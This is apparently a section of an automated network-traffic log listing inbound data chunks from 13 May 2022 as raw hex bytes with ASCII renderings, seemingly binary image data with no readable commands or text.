2022-05-13 14:42:07 UTC 6605 IN Data Raw: 49 83 bb 54 03 76 c2 77 94 e9 68 63 a1 8d 69 cd 41 1e 3d 3a b9 e3 44 be 9f 0c 7c cf e2 66 a9 36 31 db 60 b7 
99 16 2b 65 8f 5b ad 41 6e 82 54 50 37 99 5c f9 57 96 29 65 76 5a da 7e ff 00 46 6c a9 da 42 0b 69 6c a6 90 c0 86 5b b0 
59 3a 5a 8b 97 02 c5 ba ab a8 f3 3c 32 c3 b5 95 d2 97 15 d3 d1 18 df 18 55 85 9b 41 71 f5 57 f1 a2 39 0e 23 31 f5 34 6b 
91 20 91 f9 b5 63 1c 97 dd 5d b4 6f 96 e9 f9 bd 14 19 d7 42 7b 8e ed b7 da db 97 ba 72 b1 35 16 a4 90 dd 46 95 ae 54 cb 
d3 89 c5 86 f6 b4 55 6b f6 68 37 69 33 ae b7 3b 2d 9a c5 26 d6 54 6b d2 92 4e da c9 24 69 3a 47 a9 80 06 ad 8e aa 62 
b6 5b c4 72 d5 55 47 7e bd 84 26 c0 cf be 20 8a da 37 b5 31 c9 dd 2a c1 42 ea 24 2b 00 6a 52 ac 5b e6 a1 5c 6f ff 00 e3 
db b3 56 95 1d fd df 9b 90 9c 8f 0f bc e1 dc ee d3 6f db 88 
Data Ascii: ITvwhciA=:D|f61`+e[AnTP7\W)evZ~FlBil[Y:Z<2UAqW9#14k c]oB{r5FTUkh7i3;-&TkN$i:Gb[rUG~& 71*
B$+jR[\oVo

2022-05-13 14:42:07 UTC 6612 IN Data Raw: 35 c7 4b ab 5a ed 55 fd 5c ff 00 ab e2 32 4e 39 11 fa eb 38 23 78 6c 06 9b 85 e2 b3 6a 04 81 c4 d5 cf 57 96 78 
7e 5d ac e6 ff 00 0f e5 ff 00 c4 7b 5b 29 db e4 dc af 98 49 72 d1 98 98 d3 b6 46 7c 0e 95 2d e9 66 07 d3 d5 c3 1a 65 54 
a6 95 99 ed f4 d4 97 e0 7a 9c ef b9 fd 9d 7b bb df 41 28 dc be 96 33 5d 11 2a 54 b5 3d 79 b1 cc 90 7f 97 1e 9f 49 d7 57 
15 1a d9 bf b6 d3 fd 26 6e d3 c0 d8 d9 b6 8b dd b2 dd e2 bb bc 17 30 c6 06 65 1a 32 a0 03 55 20 9c eb 4c bf cb 1c 59 f3 
57 23 4e b5 da df 7e e9 2a 8d 1a 37 16 f7 0f 01 16 f2 2a b8 1d 2c 40 65 15 cb 51 00 e7 4c 72 d6 c9 3d 51 b6 87 2f b8 fb 
6b 6b 96 eb b1 b8 5e b9 b8 a2 48 0b 05 a0 34 2b d0 d9 e9 e3 a9 80 cb d3 5c 7a f8 ba bc 8a b3 4a ad ba d7 9f fa 97 d9 ef 
31 6d 23 7a 28 a0 8d 16 da 2b 96 99 d4 28 66 ee 50 8f 
Data Ascii: 5KZU\2N98#xljWx~]{[)IrF|-feTz{A(3]*T=yIW&n0e2U LYW#N~*7*,@eQLr=Q/kk^H4+\zJ1m#z(+(fP

2022-05-13 14:42:07 UTC 6628 IN Data Raw: d2 e2 75 b5 bb 86 4b 63 22 2b 24 9d a2 54 b5 2a 43 50 65 ab f0 f1 c6 19 3a 3c 75 5b aa d5 a1 ea a4 aa 9b 56 
56 64 21 85 9a a3 a9 99 5d 83 13 52 49 26 9c 2a 49 cb f6 63 83 25 f5 9f bb 43 b2 97 da 01 bf 16 68 12 3b 7d 31 3c 40 b2 
2a 95 a6 7d 3a 89 e3 a4 d4 af 48 c7 4f 4f c5 bb 6b 3c 78 fa e3 d7 cf 53 9a cd b6 65 cb bf d9 de dd 7f 4f 43 3c 33 05 59 04 
91 29 d3 ab c1 b2 26 8b cf c7 1d 8b a6 b5 2b bd ed b2 d5 6d b7 18 12 c6 cd 16 8f 7c 90 2a c6 d1 84 a1 f9 a8 cc 7f 19 a0 
d4 3f d3 8e 54 f1 2e 33 fb 3f 2f f1 1e c8 27 71 67 bd aa c1 d8 bb 35 88 12 e1 d1 8e ba 82 b4 cb 21 91 39 f8 e2 6b 7c 5a cd
78 f0 86 bc 26 43 59 58 cb 64 8d 23 4c f2 42 01 60 b2 46 14 8a 0a e9 57 f0 f0 f1 e7 e3 87 93 22 bb 88 49 f7 3f c0 d6 96 d8
68 6b 8a e1 62 93 50 58 98 2b 8a 16 0e 49 cc 0a 
Data Ascii: uKc"+$T*CPe:<u[VVd!]RI&*Ic%Ch;}1<@*}:HOOk<xSeOC<3Y)&+m|*?T.3?/'qg5!9k|Zx&CYXd#LB`FW"I?hk
bPX+I

2022-05-13 14:42:07 UTC 6644 IN Data Raw: a1 87 a9 a6 24 d6 d4 e7 8c 98 bc 45 f6 e6 5d a1 4d c5 e8 92 79 28 75 bc 6a e4 1a 66 32 63 42 df ca bd 58 ce 
d1 97 c3 58 af 73 8f 4f 78 ac a0 23 6f de 06 ed 29 89 12 58 58 80 ca 24 46 04 ab 03 43 40 28 2b f8 75 1a 7c d8 9c 9d 3f 
95 c5 a7 de 99 b6 37 da 5f fd 3b 71 8d 81 92 51 2c 1a 74 94 ed 8e 07 e5 3c eb e7 cf 05 ad 8d 2d 38 fa d9 7b 6a b9 99 f7 
52 ec d6 b7 90 d8 dc 43 17 7e 40 da 1b 42 e4 7f 07 02 75 37 1c 55 16 5b 55 de ad c2 ef 7e ff 00 52 39 ed 6a a7 06 e2 84 
d0 53 a1 57 21 52 74 8c f8 0a 1f 1c 70 39 93 6d d5 04 b8 b6 98 47 d9 b7 74 b7 e3 a4 00 17 80 e7 98 ae 59 e3 6a d9 4c 
da 6c 67 6a 54 17 69 db 37 1b 36 11 b1 9a 50 aa 4b 19 40 24 96 3e b5 2b c3 f9 34 fc 31 db 91 57 2a 95 b5 7e 9e ce cf fc 
8d e9 87 99 a7 3d c7 d0 44 f7 13 31 48 e2 52 f5 61 a4 1a 78 
Data Ascii: $E]My(ujf2cBXXsOx#o)XX$FC@(+u|?7_;qQ,t<-8{jRC~@Bu7U[U~R9jSW!Rtp9mGtYjLlgjTi76PK@$>+41W*~
=D1HRax

2022-05-13 14:42:07 UTC 6652 IN Data Raw: a5 6f d2 a2 96 12 39 06 80 53 a9 c2 d4 92 b4 c7 3d 30 3a bd b3 fa b5 8d b5 fb 94 84 94 ed fe f3 dd ee 6f e3 b3 
b4 b3 72 8d 18 d4 9a 48 2a 57 23 ea 0a a3 5f 2c 69 97 a1 c7 5a 3b 5a dc f8 fa 6b e1 34 4e 0e e4 4f 3c f0 1a 6a b6 99 45 
0b 1d 04 a6 5c aa 48 a0 c7 cf ed 49 fd 4b db a8 de 66 cc eb dd e6 7b 53 a6 08 a4 96 ef 4d 2a a0 29 cc 7a ab e9 e3 f1 c7 
4e 3c 0a dc 5a ad 7d fe ce d0 4e 4a b6 1f 71 5d ee 2a 96 b7 96 e6 39 9a 20 c5 d3 e6 1e 92 18 8f 43 6a 19 8f 56 34 ea 7a 
5a e3 f1 55 ca 9e 1e 9c 51 aa 35 22 db ed 6d 89 92 15 3d 6e 58 90 da 89 34 d3 42 6b e9 5a 7a 71 c6 f2 da da 3e 4b f7 fa 
32 d6 86 7d fe d8 c1 0b ed 22 15 bd 7d 2a ce cc 03 05 07 3c 86 b6 ad 38 10 6b 8e 9c 79 79 64 9d 8b 97 29 ff 00 49 93 5a 
8a fb da d1 ef 0e 23 bd 9d 8a 50 80 b1 12 83 57 15 62 
Data Ascii: o9S=0:orH*W#_,iZ;Zk4NO<jE\HIKf{SM*)zN<Z}NJq]*9 CjV4zZUQ5"m=nX4BkZzq>K2}"}*<8kyyd)IZ#PWb

2022-05-13 14:42:07 UTC 6668 IN Data Raw: 11 f4 ac 08 ed 05 5c c0 d2 48 a7 4b a9 fe 66 4f 0c 65 96 de 53 97 5f 8b ea 9b 7f 07 f6 9d b8 6b da 74 ed 67 1c 
b1 a2 92 64 28 6a ba 99 94 0e 59 8e 18 f2 55 9c e9 a4 fa 8f 41 51 10 79 e1 b6 63 6f 15 bb bc 67 49 66 0a 19 6a 4d 38 71 
24 71 c0 aa ed ab b2 39 af 57 25 ae ed 04 61 d0 48 7e 52 10 28 a0 f1 03 4f ab ee c4 25 2e 1c 7b 7f 89 83 c7 3c 0a 23 b4 
b5 23 bd 4a ca 79 cf 93 54 78 f0 27 fc 65 8d 1d ed c3 97 e4 25 e3 68 8b 59 5b 5f db ea 9b b3 32 f3 0a ad 40 c3 8e 95 39 
0f dd 86 af 6a 3d 26 be ee 1d ec 75 86 60 1b 6d 93 61 6a c7 6c ca 49 a9 d5 1f 71 9b 4d 49 00 f4 d0 e7 d2 cb d5 5c b1 e9 
6f cb 9b 8d be dd a9 4f a7 a8 8b 63 67 41 67 6f 14 f6 46 4d bc 3d bc b2 a0 2a ee a4 94 a8 fc 24 82 b4 c7 9b 7b 3a da 2f 
16 49 f0 5f 37 b4 6d 20 64 da a7 44 76 9a fa a1 9e a0 
Data Ascii: \HKfOeS_ktgd(jYUAQycogIfjM8q$q9W%aH~R(O%.{<##JyTx'e%hY[_2@9j=&u`majlIqMI\oOcgAgoFM=*${:/
I_7m dDv

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 6684 IN Data Raw: 0a d5 2b ab a3 4d 00 d4 c7 37 fc 5e af 0c 68 f0 bc cf 54 e9 da e7 4e 3f 37 fd 44 9c 95 43 ef 2a 5e 37 75 7b 64 
b2 99 15 85 34 c6 17 36 24 11 cc ae 5e af c3 c7 17 6e 87 c3 a6 bf 4f 7d a7 87 a7 b4 b3 6c 7b 96 c6 1b f9 a2 9f b8 22 d0 
8e 83 4b 1a f0 2c 03 71 5e 23 5e a0 8b 41 9e 38 3f b5 bb a2 6a 26 5a 7c 3d 9f f8 f1 64 49 11 3d b8 93 fe cc 9d 0f 09 76 
93 55 54 77 1b 2e 9f c2 05 7a e8 70 f6 b8 f1 72 b4 6d e7 e1 5d bd bf 94 24 e7 65 f7 8c db 2d ed 2e 8b 7d 3b 06 51 20 45 
ac 88 a0 d1 d5 b3 f1 d2 7a 69 d2 ba 49 c7 a6 ba 15 9a be 1f 8b 4d 27 e1 7f 4b 06 db 23 17 ba 25 de 03 18 a0 64 89 54 
37 72 94 21 86 66 84 8a 29 af 92 d7 ab f9 70 df 48 b1 71 72 fb 3d 38 fd a0 8d 8d a7 de 96 b1 6d 31 4f 7b 45 91 9f 4a 75 
64 c4 e4 59 4f 4a f8 96 d5 d3 f6 f4 e3 8b 37 41 67 91 aa 
Data Ascii: +M7^hTN?7DC*^7u{d46$^nO}l{"K,q^#^A8?j&Z|=dI=vUTw.zprm]$e-.};Q EziIM'K#%dT7r!f)pHqr=8m1O{
EJudYOJ7Ag

2022-05-13 14:42:07 UTC 6692 IN Data Raw: 23 20 1e 24 13 c4 ea f0 5a 53 1f 71 fe 2b a4 56 a3 b5 a1 ef e3 2d 58 cf 56 76 de ce f7 ec 1e f3 85 6d ee 10 43 
74 a5 43 c8 56 8a 58 fe 13 9d 08 3e af f8 e3 c3 eb 3f c6 be 96 d2 9c d5 f0 d7 87 ac e9 a7 89 c3 25 ee cd 9f 7b ba b8 d3 
6b 77 16 88 c7 e9 db 0a 2c 84 02 03 55 e8 7a b4 d7 f7 e1 74 b9 b1 51 78 aa fb f2 7c be ee c0 b5 75 0f 7f 72 45 b4 5a 88 
e2 32 49 22 10 88 af 1b 99 35 56 a0 33 01 a4 90 72 c7 22 e9 5e 5b 4b 84 9e ae 1a db ec 47 2b 5a 9e 69 b8 fb a3 7b 97 
74 6b 68 93 44 e1 96 45 b6 0a 44 8e 32 6e 39 d1 95 45 59 bc 2b 5c 7d 5e 2e 8f 12 c7 2f 55 ad 77 fc b5 e5 f6 8f 6e 86 14 
df dc 45 9a 7e fb c4 cc 80 64 a5 98 51 d4 1d 34 23 a6 82 be 19 f3 c7 a1 5f f1 90 a2 7f f5 e6 4e d3 6f d8 9b cb 6f 77 82 ce 
da 51 6a 82 39 09 42 4e 60 d7 48 d7 a7 3e bd 2c 73 e1 
Data Ascii: # $ZSq+V-XVvmCtCVX>?%{kw,UztQx|urEZ2I"5V3r"^[KG+Zi{tkhDED2n9EY+\}^./UwnE~dQ4#_NoowQj9BN`
H>,s

2022-05-13 14:42:07 UTC 6708 IN Data Raw: 52 35 02 23 75 20 a0 ff 00 71 d4 8f b5 59 b5 69 f4 ae 3e 7a fd 46 4c 95 70 95 3b 7e af d3 5f dd 07 33 6d 81 6e 
12 5f 49 6b 25 fe cf 66 ad 23 36 89 04 a4 80 c9 c8 47 9a a6 9a f5 1a f1 3e 3c 31 be 25 45 65 4c b6 d2 25 6d e5 6f cd c6 
d2 25 5e d3 6a d3 70 ba b4 8a 38 6f 47 65 dc aa 2a 46 51 b4 d4 56 8d a3 48 04 91 97 2f 3c 70 5f 15 6c db a7 8b 9c b9 d7 
d5 21 a7 23 40 34 c2 39 1e 59 16 25 08 74 b8 ab 1a 93 4c 85 7f c3 63 9a 14 a4 94 f7 1a 49 85 bb 5e 6e 1b 4f fd ed b5 db 
dd c0 b5 0c 8a 82 67 d5 5c b5 e6 3b 62 9f 97 fc f1 e8 e1 c7 4c be 1b 55 51 f6 ce ca fb 3e af 79 75 a4 83 fb 66 5b cd c6 de 
49 f7 40 8b 2c d2 f7 20 40 59 4a 87 1a a8 7e 52 df 90 6b f3 c6 9d 5a ae 3b 25 8e 62 aa 2c f4 73 b7 4f 5c 7e 6d 08 f8 4d db 
ff 00 6d c5 ba 14 59 84 87 49 d4 11 58 a2 9a 7e 
Data Ascii: R5#u qYi>zFLp;~_3mn_Ik%f#6G><1%EeL%mo%^jp8oGe*FQVH/<p_l!#@49Y%tLcI^nOg\;bLUQ>yuf[I@, 
@YJ~RkZ;%b,sO\~mMmYIX~

2022-05-13 14:42:07 UTC 6724 IN Data Raw: 7e 6d 29 9e 37 ab a5 b4 f2 f7 77 da c7 a5 5b 2b 1d 6d 9f f6 db de 17 30 23 ed 56 d3 c8 cc 85 c5 c5 c5 42 1a 
0e 65 80 5e 3e 1e ae 14 c7 4d 7a 7b 64 f9 1d 6a fd 9a 1b ed 76 50 8e 52 3d e5 ec 67 3b 6d fe e1 6d 2e e6 80 a3 c5 90 1a 
c5 7a 43 03 ea f2 39 57 1c d6 e9 ed 47 ba b4 b5 6b 3c 78 98 2b 3a b8 07 9a cf 70 b9 b9 48 d2 78 8b 1e a3 18 50 c5 80 1f 
8d 6b 4d 1f 8b 11 e6 d1 27 66 9f ea 98 ff 00 4f 79 39 2b 3a 98 c7 d9 db bd dd d3 5d 77 e0 37 25 d8 92 8c 5d 0c 40 74 86 
8b a6 ae 1b 8b ea ae 78 ed fe fb 15 69 b6 2d 1d fe 1f 17 ea fc 0e 45 55 c0 e9 76 ed ae 5d ae d9 5a e5 2a 61 34 08 82 ba 
8d 32 0b a8 96 ff 00 4f 0c 73 67 55 b6 b3 f1 7a 72 3d 0d bb 54 13 8a e6 e6 e5 9e 43 63 fa 19 05 45 60 8d 5e 2d 56 a5 2a 
07 d9 8c 2b 8e a9 46 ed 7b 7f 70 ab c3 88 22 6c 31 41 21 
Data Ascii: ~m)7w[+m0#VBe^>Mz{djvPR=g;mm.zC9WGk<x+:pHxPkM'fOy9+:]w7%]@txi-EUv]Z*a42OsgUzr=TCcE`^-V*+
F{p"l1A!

2022-05-13 14:42:07 UTC 6732 IN Data Raw: 1d f6 db 35 52 8d 08 65 5a e9 12 2a d3 e2 68 3c b1 ba cd 7e df 71 e9 d6 d2 85 69 be 6d 96 8e b0 d8 6d 17 0b 
29 e2 d4 40 b5 e0 1b c3 0b 26 0c 97 53 7c 95 8f 6f b8 c2 db 98 43 7b 89 4d cc a0 d9 ba 08 b3 ae a2 51 fe 14 e1 43 88 af 
4e d5 54 59 6b dd ad 41 3b 22 10 ef cd b9 68 17 76 6d 1c 9a 9e a8 49 00 20 a1 53 a8 fa eb 9f 21 4c 16 e9 bc bf 86 d3 c3 
df cf d4 67 55 64 3e f3 ee 68 76 7b 24 9e 4b 58 51 c8 62 15 9b a8 53 d2 14 53 32 fc b9 62 70 74 8f 2d a1 5a dc bd 3f 94 
e3 be e6 e3 53 32 d7 de 97 9b d2 aa 6d 4a d0 5b 64 ac ae a2 8a 46 6c a4 12 4b 0f bb 1d 76 e8 2b 89 ff 00 f4 f1 5b bb 9f 
79 a6 2c 6e 4d a0 67 24 4a 11 99 80 cb 8d 09 19 f8 36 38 dd 23 46 7a 90 04 ab 65 75 0b db 5f 59 a4 10 8a bb 94 6d 4e 
72 cc 80 39 ff 00 8a 63 5f 15 5e ea 59 d9 f2 95 a1 cd e5 be 
Data Ascii: 5ReZ*h<~qimm)@&S|oC{MQCNTYkA;"hvmI S!LgUd>hv{$KXQbSS2bpt-Z?S2mJ[dFlKv+[y,nMg$J
68#Fzeu_YmNr9c_^Y

2022-05-13 14:42:07 UTC 6748 IN Data Raw: cb 5b 98 77 af d4 86 59 e4 42 73 75 50 16 87 c4 2f 15 f8 e3 cf bd 1e 2d 1a aa ee fe 27 7e 1b 94 dc 6c 92 6d 
b2 ac 71 dc cd 0c 0a 0b ac 71 00 4d 4d 07 51 24 fd d8 d2 bd 42 c8 a5 d5 59 f0 9b 7e 01 6c b1 c0 07 71 b7 b8 b9 9e 58 77 
2b 95 3b 34 a4 07 40 0d 74 81 5e 55 21 eb c5 bc 31 d1 8a d5 aa 4e 95 ff 00 ea b8 7a ff 00 ea 6e b5 52 67 6d 9b 1e c9 67 
70 67 db ac e3 d2 83 42 cc d2 33 6a f1 28 1b 31 4f c5 8e cc 9d 46 5b 28 bd b8 fc b0 b4 f5 c1 b6 1a f3 66 c1 b6 b4 ba 99 
1e 43 22 69 a8 e9 3d 3a 4f 10 75 1a 69 38 e1 77 b5 53 88 0c b6 8d 43 f4 c4 b0 17 86 44 91 55 b4 fa c3 15 3e 19 66 71 85 
6e e6 1a 89 d7 80 f1 e5 4f 42 b8 9e 44 90 04 00 02 73 52 29 5a f8 57 1a 5f 81 d1 60 2d d6 7d 9a 2b b5 b3 de 9e 48 2e 38 
aa f7 0a ae 62 a3 31 fb 31 78 ab 95 d7 76 34 ac bd 47 9f 
Data Ascii: [wYBsuP/-'~lmqqMMQ$BY~lqXw+;4@t^U!1NznRgmgpgB3j(1OF[(fC"i=:Oui8wSCDU>fqnOBDsR)ZW_`-}+H.8
b11xv4G

2022-05-13 14:42:07 UTC 6764 IN Data Raw: c1 8f ea 69 af df 5f 0c 6d 8f 25 68 8c 15 5d 8d 3d df fb d3 7a e9 1d ea c7 59 d8 b9 ee 39 3a 33 1d 25 3c 3a 72 
c7 9c ed 6b 33 d4 ad 12 3d 9f fb 70 cf ee ad a2 db 75 df 94 4e d3 2e a8 d2 4e 04 2b 55 49 1f 36 8e 55 fe 6c 75 61 ed b6 
bd 87 1e 5e 30 8f 57 6b 98 a0 8b 55 cb af 48 ad 01 a6 67 80 c7 ab 30 b5 38 fd 46 7c 37 90 5e ce b3 2c da e3 5a e9 55 61 
a4 b7 16 a9 1f 87 19 2b 26 f8 8d d4 1e f7 dc 0b 1d 06 bd 20 92 08 34 a0 a7 26 f8 f2 6c 2b e5 1a a9 97 3b db ee 8b a2 51 
1b c4 0f 5a bd 28 3c 1b 3f 3c 73 bf 11 ad 5c 1e 49 ee af 69 1d db 7f 10 4c 23 b5 1d bd 46 e0 02 6a b5 a0 e0 42 b7 1e 27 
d3 8e 2c b5 83 6a b9 e0 71 7b 87 b1 36 8b ab 9f a5 b8 dc 25 78 d5 e8 fa 51 74 c8 16 9a b4 37 49 5f 0d 59 f1 c6 1e 6b 5a 
26 6c ab cc fa 3a c2 1b 19 2c a1 8f 6b d4 96 a1 14 22 
Data Ascii: i_m%h]=zY9:3%<:rk3=puN.N+UI6Ulua^0WkUHg08F|7^,ZUa+& 4&l+;QZ(<?<s\IiL#FjB',jq{6%xQt7I_YkZ&l:,k"

2022-05-13 14:42:07 UTC 6767 IN Data Raw: 90 af 62 38 b4 c8 cd 53 dc a1 27 3e 2c d9 d0 9f 97 ee c0 f5 d5 bd 3f 2f e1 f8 89 97 4a 24 9c 09 2a 16 41 40 32 
34 f2 39 e5 88 4e 34 10 f7 49 18 95 65 8c 69 19 ab 0c c9 29 f0 3c 07 98 f5 60 a3 71 0f d1 94 46 e3 78 2c 80 45 0e b6 25 
fa 09 00 80 1a 8e d9 0c ab 9e 95 c5 2c 5a ea e3 87 dd a2 2e 40 d6 f9 ee 19 ed e6 0d 52 b9 90 78 83 ff 00 11 41 cf 1b 3a 
6d 49 a2 64 9b 2a ea a8 9d 8d 41 62 d9 05 1c 78 a0 e3 a7 fc 53 11 ec f4 fd 5d e2 25 3a 5d 25 9c fd a6 33 ca 45 10 f4 a8 
f2 af db e3 f7 61 57 6b b2 9f 0a e7 c4 d1 20 55 b4 86 3a 08 e1 42 74 f7 49 53 5e a2 05 4e 93 5e 38 df cc 6f 8b fc ba 8c b2 
ee 09 95 0c ea 1e 5e e0 a9 2a 34 a8 00 64 00 19 91 9d 38 62 6b 64 dc 69 51 26 12 1d d0 87 65 d3 10 20 50 d0 10 69 9a 
ff 00 8a e3 24 97 ac a9 2e 78 89 45 05 97 59 46 5e 34 
Data Ascii: b8S'>,?/J$*A@249N4Iei)<`qFx,E%,Z.@RxA:mId*AbxS]%:]%3EaWk U:BtIS^N^8o^*4d8bkdiQ&e Pi$.xEYF^4

2022-05-13 14:42:07 UTC 6783 IN Data Raw: c7 50 e5 4d 25 7f 9b 1f 1d 9b fc 85 55 2d 4d 55 92 69 ee f7 78 7e f3 8f fb 84 dc 70 39 af ee 5e ef 17 b8 bd c7 
24 90 12 91 09 c5 2b c6 91 81 c7 e2 71 ee 74 54 f2 f1 cf 6d 7f dc 7a 4d c8 57 f6 9a dc 4b ee eb 3b 99 5d 51 61 59 09 2c 
78 21 04 03 f1 ae 43 1a 75 36 8a 47 6b 5e f2 37 40 0f ba e3 86 92 20 39 c2 5d be 3a 8e 3a a9 69 83 95 71 3c ef 71 58 f5 
28 84 82 34 a6 af 88 19 e3 d2 c4 df 3e f3 64 83 3d b2 c9 6d 2c ee f5 34 50 a0 79 1c 67 d4 6a 92 25 a8 3b 55 ac c8 01 e2 
14 50 9e 39 8e 1f 61 c7 85 67 0c da a7 4d 16 e1 0d be 99 1e 85 f4 81 fb 39 63 ce 72 d9 d7 57 07 ad ff 00 64 fd d7 72 9b 
a9 b6 47 d3 f5 43 b4 a6 b4 ea 39 a6 74 34 cf e6 a6 58 30 a6 ae 75 3f 15 4f 1f fe e6 6d 5b c4 fe f7 b9 87 7f 85 ed ef e3 0d 
50 f1 e8 66 5c d8 1a 70 6d 5f 2b 8f 5f c7 1e bd ae 
Data Ascii: PM%U-MUix~p9^$+qtTmzMWK;]QaY,x!Cu6Gk^7@ 9]::iq<qX(4>d=m,4Pygj%;UP9agM9crWdrGC9t4X0u?
Om[Pf\pm_+_

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 6799 IN Data Raw: 38 f1 22 06 8f 60 91 76 f9 ec c2 a2 5c 76 a6 84 36 b6 21 bb 88 42 33 d2 b5 c8 81 d3 5f e6 cb 0e dd 4a de ad 
ca 6b 6e 1f 4b d5 21 ad 1c 96 7b 67 68 fe 8f b4 59 ed 57 03 f5 a0 5d 19 8c 89 cd 87 57 86 58 cf ab cf e6 e5 b6 45 c2 da 
fa 21 d9 ee 72 6a 09 d0 dc 2c 69 1a 0e 20 32 0a 31 23 d4 0d 79 0f 4a e7 c3 cb 1c c9 3d bc 7d 2c 26 d1 19 a4 ec 44 d2 15 
11 99 64 0a 85 02 51 6b 9b 29 6f f2 cb cf 1b 53 1a 75 9d 5c 08 ca b7 db f7 7b 4b b6 10 48 0c 65 c3 76 db 39 15 54 d0 d2 
84 67 ab ab ab d2 b9 f5 65 8d ef 7a 42 dc a2 d1 c7 96 ef c3 f1 25 c8 65 fe cf 73 b9 4c 3b cc 7b 2e da a9 4d 24 d2 bd 35 
e0 7c 97 3e 15 aa e3 1a e6 d8 a6 35 ed 2d 68 16 36 cb c8 01 64 0a 65 11 8a 1c 89 d6 c2 80 13 97 57 23 fb ab 8d d2 54 
d5 fa fd 52 57 12 36 d2 1b 58 58 dd c6 3e a4 82 7b 6c d9 86 
Data Ascii: 8"`v\v6!B3_JknK!{ghYW]WXE!rj,i 21#yJ=},&DdQk)oSu\{KHev9TgezB%esL;{.M$5|>5-h6deW#TRW6XX>{l

2022-05-13 14:42:07 UTC 6803 IN Data Raw: a6 36 b1 94 f7 1b 97 bd 26 37 61 d9 23 07 5c b2 42 32 70 45 42 2a 29 1a 47 2f 05 c7 a3 9b 22 c4 db b4 3b 3d 
15 5e 9b 0c d5 b9 87 ec c6 e6 3d 76 b6 72 44 92 19 42 3a b3 11 2a a5 46 45 4e 91 45 27 3c e8 5a b8 c2 d5 9d 75 f1 7f 
4b 7f bc 94 6b 5c b8 b5 49 4a bf ea 95 2e c6 32 4a 29 53 a1 07 e1 00 8e be 9a f0 c7 2e 3a c3 e3 c3 4e fe f9 1b 2b b0 dc 
19 90 44 66 92 61 1d 14 b1 46 59 1c 0a 28 63 ac 0a 02 7c 7e 3c 31 19 29 17 9e d7 db e1 0a b0 ed eb dc d6 7b 35 d2 43 
22 a7 6e 52 d4 66 27 50 ca bc 17 a4 8d 47 4f ed e1 8c 7f b4 79 5d 9d 79 3f 44 3d c5 72 d8 49 71 7c 2f 81 8e 7b 6e cb 09 
02 11 41 a7 80 51 c7 ac 9c ca f9 8c 3c 79 5a a3 aa d2 df 9b bc d7 91 8d b9 cb 7b dc 11 21 45 4e 92 c1 4e 68 ad d4 ac 47 
1c 8f e6 f4 f8 63 ab 1a aa 53 e9 66 68 a2 35 2f 69 27 8e 38 61 
Data Ascii: 6&7a#\B2pEB*)G/";=^=vrDB:*FENE'<ZuKk\IJ.2J)S.:N+DfaFY(c|~<1){5C"nRf'PGOy]y?D=rIq|/{nAQ<y
Z{!ENNhGcSfh5/i'8a

2022-05-13 14:42:07 UTC 6819 IN Data Raw: 85 7b 3b 5f 4d 19 15 41 64 5b 5c db a5 e5 cc c2 34 70 44 45 91 5b c9 8b 16 ce 82 a0 f4 8c 2a e3 84 fb 7d bf 
80 6d 92 b9 ed 9e ea 04 8a e1 d6 4b 77 70 a4 91 a6 8e 3d 26 8b 4a 66 06 9d 39 1a e0 ad dd 5e 9c f5 80 4a 19 cd de ec 
37 96 fb 8a 43 68 d2 4b 70 28 19 8e ae d2 d7 81 d7 c9 91 05 19 47 4d 1f 2c 97 1e bd ac 95 3c 71 af 2f 9b d5 e9 c3 69 3b 
01 e0 b3 dc 2e a3 8f 6e b2 11 a5 ce a6 57 21 86 b5 74 07 2d 25 9b a6 bd 41 b9 b6 6d 8c 6f 6a d1 bb de 76 ff 00 a6 19 ae 
c0 db 8d be 7b 3b 83 75 6a 63 78 62 5d 26 59 1b 47 5b 53 d0 48 25 98 f9 73 ea e1 8c 29 6d f5 f1 26 b5 e1 5d 7f a8 9d b0 
81 25 d8 77 e9 26 5b d9 b4 43 03 c8 11 21 69 0d 34 3d 3b 84 81 d2 38 6a d2 bd 4c bf 1c 75 2c 98 d5 76 ea ff 00 3c 7c cb 
e1 f4 65 2c 72 03 b8 6d 9b b6 db bc 4b db 91 d3 6f 65 d4 66 
Data Ascii: {;_MAd[\4pDE[*}mKwp=&Jf9^J7ChKp(GM,<q/i;.nW!t-%Amojv{;ujcxb]&YG[SH%s)m&]%w&[C!i4=;8jLu,v
<|e,rmKoef

2022-05-13 14:42:07 UTC 6835 IN Data Raw: da 95 78 69 d4 b9 05 f5 1e 9e 2d 85 95 da 95 71 ac 6a 2b 52 0b 2e 64 db af d6 e2 38 a2 26 48 e0 29 08 90 95 
55 a5 0e ae 81 c0 53 9e 38 b1 67 7b 7f fa 2d df 4e df 97 f6 90 d2 66 88 f6 ee ef 63 69 69 28 80 fd 28 2b 24 ed 16 95 41 19 
35 0c 4b b6 b2 10 51 9b a6 a7 1e c6 1e 93 26 44 ae 94 51 eb af a7 33 55 8d b5 27 23 b6 b5 ed dc c6 5b 93 dc 89 88 64 
0c 4b 32 90 34 e9 0b 98 e6 68 d8 f2 fa 8a 6a e1 43 d7 d5 63 16 8d 69 2d 6e a1 57 54 7d 0e 74 a6 9e 08 55 45 4a ba 7a 
4f c7 e5 61 a7 18 2b aa 27 57 33 6d 74 ef 21 28 2f 16 93 d9 32 b4 c1 e4 58 c9 95 94 35 02 39 5a 2b 71 06 9c bd 5a 70 bc 
d7 4f 0b d3 bb 9b 14 13 dd b6 eb 8b b9 3e a2 49 e5 8e 66 f5 87 41 52 5d 8f 00 ec 35 73 a5 1a bf 66 78 ea ae 37 79 b5 b5 
9f ea 13 46 64 bd c2 8a 21 75 b8 88 38 0a 13 2e dd 47 5b 31 
Data Ascii: xi-qj+R.d8&H)US8g{-Nfcii((+$A5KQ&DQ3U'#[dK24hjCci-nWT}tUEJzOa+'W3mt!(/2X59Z+qZpO>IfAR]5s
fx7yFd!u8.G[1

2022-05-13 14:42:07 UTC 6843 IN Data Raw: 8c c5 8e d7 68 81 ae 22 8a 24 99 ce 9e dc 80 d2 45 ae 93 d4 09 cf 9f a4 7c 4e 3a 3c 59 5c 36 e1 6b 3d 8f d5 
fb c2 b0 82 96 de c2 e2 58 d3 b8 90 4d 11 65 50 f9 75 64 1a 36 5a 75 2f ab d2 b8 aa da ce 7b 2d f3 7e 3d c5 bb a7 dc 15 
71 71 0d 8d a7 d0 40 86 3e c4 9f a6 23 55 40 17 e6 51 a6 ac ca df cd 89 b7 8b 4b 3d cf ea 64 3b 13 dc 64 6b dd bc cd 62 
5d ee ca 33 a7 57 4a 9f 4b 6a a9 e3 e1 96 39 f0 35 8d c5 b4 d5 4f a8 d5 58 cf da 64 66 7e e8 49 a2 ee 45 fe e0 15 46 24 
